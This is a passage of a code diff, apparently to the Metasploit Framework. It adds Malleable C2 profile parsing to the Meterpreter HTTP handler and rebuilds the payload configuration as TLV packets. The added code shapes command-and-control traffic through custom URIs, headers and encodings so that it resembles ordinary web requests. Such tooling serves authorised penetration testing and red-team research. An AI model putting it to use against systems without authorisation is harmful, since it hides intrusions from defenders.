diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d6c4bb26d5358..ad3031af4d0d4 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -70,8 +70,7 @@ def initialize(info = {}) OptString.new('HttpUserAgent', 'The user-agent that the payload should use for communication', default: Rex::UserAgent.random, - aliases: ['MeterpreterUserAgent'], - max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1 + aliases: ['MeterpreterUserAgent'] ), OptString.new('HttpServerName', 'The server header that the handler will send in response to requests', @@ -180,28 +179,49 @@ def scheme (ssl?) ? 'https' : 'http' end + def construct_luri(base_uri) + return nil unless base_uri + + u = base_uri.dup + + while u[-1] == '/' + u.chop! + end + + u + end + # The local URI for the handler. # # @return [String] Representation of the URI to listen on. def luri - l = datastore['LURI'] || "" - - if l && l.length > 0 - # strip trailing slashes - while l[-1, 1] == '/' - l = l[0...-1] - end + construct_luri(datastore['LURI'] || '') + end - # make sure the luri has the prefix - if l[0, 1] != '/' - l = "/#{l}" - end + def all_uris + all = [luri] + if self.c2_profile + uris = self.c2_profile.uris.map {|u| construct_luri(u)} + all.push(*uris) end - l.dup + all end + def c2_profile + unless @c2_profile_parsed + profile_path = datastore['MALLEABLEC2'] || '' + unless profile_path.empty? + parser = Msf::Payload::MalleableC2::Parser.new + @c2_profile_instance = parser.parse(profile_path) + end + c2_profile_parsed = true + end + @c2_profile_instance + end + + # Create an HTTP listener # # @return [void] @@ -239,11 +259,15 @@ def setup_handler self.service.server_name = datastore['HttpServerName'] # Add the new resource - service.add_resource((luri + "/").gsub("//", "/"), - 'Proc' => Proc.new { |cli, req| - on_request(cli, req) - }, - 'VirtualDirectory' => true) + all_uris.each {|u| + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") + service.add_resource(r, + 'Proc' => Proc.new { |cli, req| + on_request(cli, req) + }, + 'VirtualDirectory' => true) + } print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}") lookup_proxy_settings @@ -253,13 +277,47 @@ def setup_handler end end + def find_resource_id(cli, request) + if request.method == 'POST' + directive = self.c2_profile&.http_post&.client&.id&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_post&.client&.id&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + else + directive = self.c2_profile&.http_get&.client&.metadata&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_get&.client&.metadata&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + end + + request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + end + + def add_response_headers(req, resp) + if req.method == 'GET' + headers = self.c2_profile&.http_get&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + elsif req.method == 'POST' + headers = self.c2_profile&.http_post&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + end + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. # def stop_handler if self.service - self.service.remove_resource((luri + "/").gsub("//", "/")) + all_uris.each {|u| + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") + self.service.remove_resource(r) + } self.service.deref self.service = nil end @@ -314,23 +372,27 @@ def lookup_proxy_settings def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - info = process_uri_resource(req.relative_resource) - uuid = info[:uuid] + + req.conn_id = find_resource_id(cli, req) unless req.conn_id + + if req.conn_id + info = process_uri_resource(req.conn_id) + uuid = info[:uuid] + conn_id = req.conn_id + end if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - conn_id = luri + request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" + if info[:mode] && info[:mode] != :connect - conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) - else - conn_id << req.relative_resource - conn_id = conn_id.chomp('/') + conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + conn_id.chomp!('/') # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active @@ -368,16 +430,17 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that # was generated on the fly. This means we form a new session for each. # Hurl a TLV back at the caller, and ignore the response - pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, '')) resp.body = pkt.to_r + resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile when :init_python, :init_native, :init_java, :connect # TODO: at some point we may normalise these three cases into just :init @@ -386,6 +449,7 @@ def on_request(cli, req) print_status("Attaching orphaned/stageless session...") else begin + # TODO: do we need to handle C2 profiles here? blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id) blob = encode_stage(blob) if self.respond_to?(:encode_stage) # remove this when we make http payloads prepend stage sizes by default @@ -406,7 +470,7 @@ def on_request(cli, req) end end - create_session(cli, { + session_opts = { :passive_dispatcher => self.service, :dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher], :conn_id => conn_id, @@ -416,9 +480,12 @@ def on_request(cli, req) :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, - :payload_uuid => uuid - }) + :payload_uuid => uuid, + :c2_profile => self.c2_profile, + :debug_build => datastore['MeterpreterDebugBuild'] || false, + } + create_session(cli, session_opts) else unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode]) print_status("Unknown request to #{request_summary}") diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 81e479e585eb3..5a41c1bf72182 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -85,11 +85,9 @@ def self.http_proxy_options ), OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1 ), OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1 ), OptEnum.new('HttpProxyType', 'The type of HTTP proxy', enums: ['HTTP', 'SOCKS'], diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb new file mode 100644 index 0000000000000..b82eef1f78293 --- /dev/null +++ b/lib/msf/core/payload/malleable_c2.rb @@ -0,0 +1,496 @@ +# -*- coding: binary -*- + +## +# This module contains helper functions for parsing and loading malleable +# C2 profiles into ruby objects. +# +# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm +## + +require 'strscan' +require 'rex/post/meterpreter/packet' + +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + MC2 = Msf::Payload::MalleableC2 + + # Handle escape sequences in the strings provided by the c2 profile + def self.from_c2_string_value(s) + # Support substitution of a subset of escape characters: + # \r, \t, \n, \\, \x.., \" + # Not supporting \u at this point. + # We do in a single regex and parse each as we go, as this avoids the + # potential for double-encoding. + s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b| + case b[1] + when 'x' + [b[2, 4].to_i(16)].pack('C') + when 'r' + "\r" + when 't' + "\t" + when 'n' + "\n" + when '"' + '"' + when '\\' + "\\" + end + } + end + + class Token + attr_reader :type, :value + + def initialize(type, value) + @type = type + @value = value + end + end + + class Lexer + + attr_reader :tokens + + BLOCK_KEYWORDS = %w[ + client + http-get + http-post + http-stager + https-certificate + id + metadata + output + server + stage + transform-x64 + transform-x86 + ] + + OTHER_KEYWORDS = %w[ + add + append + base64 + base64url + dns + encode_hex + header + hostport + mask + netbios + netbiosu + parameter + prepend + print + remove + set + string + stringw + strrep + transform + unset + uri + uri-append + uri-query + xor + ] + + def initialize(file) + @tokens = [] + tokenize(File.binread(file)) + end + + def is_block_keyword?(word) + BLOCK_KEYWORDS.include?(word) + end + + private + + def tokenize(text) + scanner = StringScanner.new(text) + + until scanner.eos? + if scanner.scan(/\s+/) + # blank line + next + elsif scanner.scan(/^\s*#.*$/) + # comment + next + elsif scanner.scan(/\"(\\.|[^"])*\"/) + @tokens << Token.new(:string, scanner.matched[1..-2]) + elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) + word = scanner.matched + type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier + @tokens << Token.new(type, word) + elsif scanner.scan(/[{};]/) + @tokens << Token.new(:symbol, scanner.matched) + else + preceding_lines = scanner.string[0..scanner.pos].split("\n") + row = preceding_lines.length + col = preceding_lines.last&.size || 1 + raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}" + end + end + end + end + + class ParsedProfile + attr_accessor :sets, :sections + + def initialize + @sets = [] + @sections = [] + end + + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_set(name) + end + + def get_set(key) + val = @sets.find {|s| s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + + def uris + base_uri = self.get_set('uri') + get_uri = nil + post_uri = nil + + self.get_section('http-get') {|http_get| + get_uri = http_get.get_set('uri') + } + self.get_section('http-post') {|http_post| + post_uri = http_post.get_set('uri') + } + + [base_uri, get_uri, post_uri].compact + end + + def wrap_outbound_get(raw_bytes) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.map {|p| p.args[0]}.join('') + appends = self.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + + # do any encoding necessary + if raw_bytes.length > 0 + if self.http_get&.server&.output&.has_directive('base64') + raw_bytes = Rex::Text.encode_base64(raw_bytes) + elsif self.http_get&.server&.output&.has_directive('base64url') + raw_bytes = Rex::Text.encode_base64url(raw_bytes) + end + end + + result = prefix + raw_bytes + suffix + + result + end + + def unwrap_inbound_post(raw_bytes) + prepends = self.http_post&.client&.output&.prepend || [] + prefix = prepends.map {|p| p.args[0]}.join('') + unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + + # do any decoding necessary + if raw_bytes.length > 0 + if self.http_post&.client&.output&.has_directive('base64') + raw_bytes = Rex::Text.decode_base64(raw_bytes) + elsif self.http_post&.client&.output&.has_directive('base64url') + raw_bytes = Rex::Text.decode_base64url(raw_bytes) + end + end + raw_bytes + end + + def to_tlv + tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + + self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)} + c2_uri = self.get_set('uri') + + self.get_section('http-get') {|http_get| + get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) + get_uri = http_get.get_set('uri') || c2_uri + http_get.get_section('client') {|client| + self.add_http_tlv(get_uri, client, get_tlv) + + prepends = self.http_get&.server&.output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_get&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 + + client.get_section('metadata') {|meta| + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if meta.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if meta.has_directive('base64') + + get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') + # assume uri-append for POST otherwise. + } + } + + tlv.tlvs << get_tlv + } + + self.get_section('http-post') {|http_post| + post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) + post_uri = http_post.get_set('uri') || c2_uri + http_post.get_section('client') {|client| + self.add_http_tlv(post_uri, client, post_tlv) + + prepends = self.http_post&.server&.output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_post&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 + + client.get_section('output') {|client_output| + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if client_output.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if client_output.has_directive('base64') + + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? + append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + } + + client.get_section('id') {|client_id| + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') + # assume uri-append for POST otherwise given that we always put the TLV payload in the body? + } + } + + tlv.tlvs << post_tlv + } + + tlv + end + + def add_http_tlv(base_uri, section, group_tlv) + section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)} + + self.add_uri(base_uri, section, group_tlv) + self.add_header(section, group_tlv) + end + + def add_header(section, group_tlv) + headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") + group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty? + headers + end + + def add_uri(base_uri, section, group_tlv) + uri = base_uri || "" + query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") + unless query_string.empty? + uri << "?" + uri << query_string + end + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? + uri + end + end + + class ParsedSet + attr_accessor :key, :value + def initialize(key, value) + @key = key.downcase + @value = MC2.from_c2_string_value(value) + end + end + + class ParsedSection + attr_accessor :name, :entries, :sections + def initialize(name) + @name = name.downcase + @entries = [] + @sections = [] + end + + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_directive(name) || get_set(name) + end + + def get_set(key) + val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_directive(type) + # there can be multiple instances of the same directive type so we have + # to return an array instead of a single instance + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} + end + + def has_directive(type) + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}.length > 0 + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + end + + class ParsedDirective + attr_accessor :type, :args + def initialize(type, args) + @type = type.downcase + @args = args.map {|a| MC2.from_c2_string_value(a)} + end + end + + class Parser + attr_reader :lexer + + def initialize + @lexer = nil + end + + def parse(file) + @lexer = Lexer.new(file) + @index = 0 + profile = ParsedProfile.new + + while current_token + if match_keyword('set') + profile.sets << parse_set + elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + profile.sections << parse_section + else + raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" + end + end + + #@lexer = nil + profile + end + + def parse_set + expect_keyword('set') + key = expect([:identifier, :keyword]).value + value = expect(:string).value + expect_symbol(';') + ParsedSet.new(key, value) + end + + def parse_section + name = expect(:keyword).value + expect_symbol('{') + section = ParsedSection.new(name) + + while !match_symbol('}') && current_token + if match_keyword('set') + section.entries << parse_set + elsif current_token.type == :keyword + if @lexer.is_block_keyword?(current_token.value) + section.sections << parse_section + else + section.entries << parse_directive + end + else + raise "Unexpected content in block #{name}: #{current_token.value}" + end + end + + expect_symbol('}') + section + end + + def parse_directive + type = expect(:keyword).value + args = [] + while current_token && !match_symbol(';') + if [:string, :identifier, :keyword].include?(current_token.type) + args << current_token.value + next_token + else + break + end + end + expect_symbol(';') + ParsedDirective.new(type, args) + end + + def current_token + @lexer.tokens[@index] + end + + def next_token + @index += 1 + current_token + end + + def expect(types) + token = current_token + types = [types] unless types.kind_of?(Array) + raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type) + next_token + token + end + + def expect_keyword(word) + token = current_token + raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word + next_token + token + end + + def expect_symbol(symbol) + token = current_token + raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol + next_token + token + end + + def match_keyword(word) + token = current_token + token && token.type == :keyword && token.value == word + end + + def match_symbol(symbol) + token = current_token + token && token.type == :symbol && token.value == symbol + end + end + +end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index a2acc8a229ef0..2dd7943a591a1 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -96,6 +96,7 @@ def transport_config_reverse_http(opts={}) host: ds['HttpHostHeader'], cookie: ds['HttpCookie'], referer: ds['HttpReferer'], + c2_profile: opts[:c2_profile], custom_headers: get_custom_headers(ds) }.merge(timeout_config(opts)) end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 91e307abb1f0a..a82e3cd07279f 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,18 +1,16 @@ # -*- coding: binary -*- require 'rex/socket/x509_certificate' require 'rex/post/meterpreter/extension_mapper' +require 'rex/post/meterpreter/packet' +require 'msf/core/payload/malleable_c2' require 'securerandom' + class Rex::Payloads::Meterpreter::Config + include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader - URL_SIZE = 512 - UA_SIZE = 256 - PROXY_HOST_SIZE = 128 - PROXY_USER_SIZE = 64 - PROXY_PASS_SIZE = 64 - CERT_HASH_SIZE = 20 - LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd + MET = Rex::Post::Meterpreter def initialize(opts={}) @opts = opts @@ -49,7 +47,7 @@ def to_ascii(item, size) item.to_s.ljust(size, "\x00") end - def session_block(opts) + def add_session_tlv(tlv, opts) uuid = opts[:uuid].to_raw exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] @@ -60,23 +58,18 @@ def session_block(opts) else session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - session_data = [ - 0, # comms socket, patched in by the stager - exit_func, # exit function identifier - opts[:expiration], # Session expiry - uuid, # the UUID - session_guid, # the Session GUID - ] - pack_string = 'QVVA*A*' - if opts[:debug_build] - session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target - pack_string << 'A*' - end - session_data.pack(pack_string) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) + tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) + tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) + + if opts[:debug_build] && opts[:log_path] + tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) + end end - def transport_block(opts) + def add_c2_tlv(tlv, opts) # Build the URL from the given parameters, and pad it out to the # correct size lhost = opts[:lhost] @@ -84,21 +77,29 @@ def transport_block(opts) lhost = "[#{lhost}]" end + unless (opts[:c2_profile] || '').empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + else + c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + end + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff - pack = 'A*VVV' - transport_data = [ - to_str(url, URL_SIZE), # transport URL - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait] # retry wait time - ] + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile if url.start_with?('http') proxy_host = '' if opts[:proxy_host] && opts[:proxy_port] @@ -106,90 +107,59 @@ def transport_block(opts) prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" end - proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE) - proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_str(opts[:ua] || '', UA_SIZE) - - cert_hash = "\x00" * CERT_HASH_SIZE - cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] - - custom_headers = opts[:custom_headers] || '' - custom_headers = to_str(custom_headers, custom_headers.length + 1) - - # add the HTTP specific stuff - transport_data << proxy_host # Proxy host name - transport_data << proxy_user # Proxy user name - transport_data << proxy_pass # Proxy password - transport_data << ua # HTTP user agent - transport_data << cert_hash # SSL cert hash for verification - transport_data << custom_headers # any custom headers that the client needs - - # update the packing spec - pack << 'A*A*A*A*A*A*' + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_HOST, proxy_host) unless (proxy_host || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? end - # return the packed transport information - transport_data.pack(pack) + tlv.tlvs << c2_tlv end - def extension_block(ext_name, file_extension, debug_build: false) + def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", file_extension, debug: debug_build)) - [ ext.length, ext ].pack('VA*') - end - - def extension_init_block(name, value) - ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name) - - # for now, we're going to blindly assume that the value is a path to a file - # which contains the data that gets passed to the extension - content = ::File.read(value, mode: 'rb') + "\x00\x00" - data = [ - ext_id, - content.length, - content - ] - - data.pack('VVA*') + ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) + ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) + unless (ext_init_path || '').empty? + ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name) + init_data = ::File.read(ext_init_path, mode: 'rb') + ext_tlv.add_tlv(MET::TLV_TYPE_STRING, init_data) unless (init_data || '').empty? + ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id) + end + tlv.tlvs << ext_tlv end def config_block # start with the session information - config = session_block(@opts) + config_packet = MET::Packet.create_config() + add_session_tlv(config_packet, @opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| - config << transport_block(t) + add_c2_tlv(config_packet, t) end - # terminate the transports with NULL (wchar) - config << "\x00\x00" - # configure the extensions - this will have to change when posix comes # into play. file_extension = 'x86.dll' file_extension = 'x64.dll' unless is_x86? - (@opts[:extensions] || []).each do |e| - config << extension_block(e, file_extension, debug_build: @opts[:debug_build]) - end + ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - # terminate the extensions with a 0 size - config << [0].pack('V') - - # wire in the extension init data - (@opts[:ext_init] || '').split(':').each do |cfg| - name, value = cfg.split(',') - config << extension_init_block(name, value) + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - # terminate the ext init config with -1 - config << "\xFF\xFF\xFF\xFF" + # comms handle needs to have space added, as this is where things are patched by the stager + comms_handle = "\x00" * 8 + config_bytes = config_packet.to_r - # and we're done - config + comms_handle + config_bytes end end diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 22f940754574b..8d4a2c3b9569a 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -33,16 +33,7 @@ module UriChecksum URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - # @param uri [String] The URI string from the HTTP request - # @return [Hash] The attributes extracted from the URI - def process_uri_resource(uri) - - # Ignore non-base64url characters in the URL - uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '') - + def process_uuid_string(uri_bare) # Figure out the mode based on the checksum uri_csum = Rex::Text.checksum8(uri_bare) @@ -58,6 +49,37 @@ def process_uri_resource(uri) { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode } end + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + # @param uri [String] The URI string from the HTTP request + # @return [Hash] The attributes extracted from the URI + def process_uri_resource(uri) + # look for the UUID anywhere in the given URI, excluding the query string + uri.split('?')[0].split('/').each {|u| + # Ignore non-base64url characters in the URL + uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '') + h = process_uuid_string(uri_bare) + return h if h[:uuid] + } + + nil + end + + # Map "random" get params to static strings. + # + # @param [String] The query string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_query_string_resource(query_string) + end + + # Map "random" cookies to static strings. + # + # @param cookie [String] The Cookie header string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_cookie_resource(cookie) + end + # Create a URI that matches the specified checksum and payload uuid # # @param sum [Integer] A checksum mode value to use for the generated url diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 51c94ae12bfd0..17b71b7e950d8 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -115,6 +115,24 @@ def cleanup_meterpreter shutdown_tlv_logging end + # + # Wrap the given packet data with any prefixes and suffixes that are stored in + # the associated C2 profile server configuration (if it exists) and handle + # encoding of data + # + def wrap_packet(raw_bytes) + self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile + end + + # + # Unwrap the given packet data from any prefixes and suffixes that are stored in + # the associated C2 profile client configuration (if it exists) and handle + # decoding of data + # + def unwrap_packet(raw_bytes) + self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile + end + # # Initializes the meterpreter client instance # @@ -133,6 +151,8 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] + self.c2_profile = opts[:c2_profile] + self.pivot_session = opts[:pivot_session] if self.pivot_session self.expiration = self.pivot_session.expiration @@ -500,6 +520,10 @@ def unicode_filter_decode(str) # attr_accessor :last_checkin # + # Reference to the c2 profile instance associated with this connection, if any. + # + attr_accessor :c2_profile + # # Whether or not to use a debug build for loaded extensions # attr_accessor :debug_build diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 